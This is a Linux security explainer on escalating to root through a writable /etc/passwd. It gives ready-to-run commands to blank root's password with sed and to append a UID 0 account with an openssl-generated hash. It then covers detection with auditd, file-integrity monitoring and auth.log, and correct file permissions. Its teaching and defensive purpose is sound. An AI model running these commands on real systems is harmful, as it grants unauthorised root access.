Writable /etc/passwd

/etc/passwd is the file listing the system accounts. Each line has seven :-separated fields:

root:x:0:0:root:/root:/bin/bash
 │   │ │ │   │    │       └ shell
 │   │ │ │   │    └ home directory
 │   │ │ │   └ GECOS (description)
 │   │ │ └ GID
 │   │ └ UID
 │   └ password ('x' = stored in /etc/shadow)
 └ username

The second field is the key. An x means "the hashed password lives in /etc/shadow". But the format also allows putting the hash directly there, and an empty field means no password. If an unprivileged user can write /etc/passwd, this is instant root.

Path 1: leave root passwordless. Remove the x from root's entry to empty the field. After that, su root asks for no password:

sed -i 's/^root:x:/root::/' /etc/passwd
su root

Path 2: add a UID 0 user. Generate a hash and append a new account with UID 0 (root-equivalent):

openssl passwd -1 -salt x pwn        # generates the hash
echo 'pwn:<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwn                                # password: the one you chose

How to find it (attacker). Tools like linpeas flag it explicitly ("/etc/passwd is writable"). By hand, ls -l /etc/passwd reveals the problem: the file should be root:root with 644; if the owner is a user or service group with write permission, it is exploitable.

Why it matters. It is one of the most direct permission mistakes: no exploit and no race condition needed, just a text editor. It usually comes from a too-broad chmod/chown or a deployment script that botches permissions.

How to detect it. The direct signature is a write to /etc/passwd by a process that isn't an account-management tool (auditd -w /etc/passwd -p wa), and the result in the file: an entry with UID 0 other than root, or root's password field emptied (root::). FIM on /etc/passwd alerts on the change; and a passwordless su/login to root leaves an unusual session opened for user root in /var/log/auth.log. A recent openssl passwd/mkpasswd in the history reinforces the indicator.

Defence. /etc/passwd must be owned by root:root with 644, and /etc/shadow readable only by root (640, shadow group). Periodically audit the permissions of sensitive system files. Related to sudo abuse and other insecure-configuration escalations.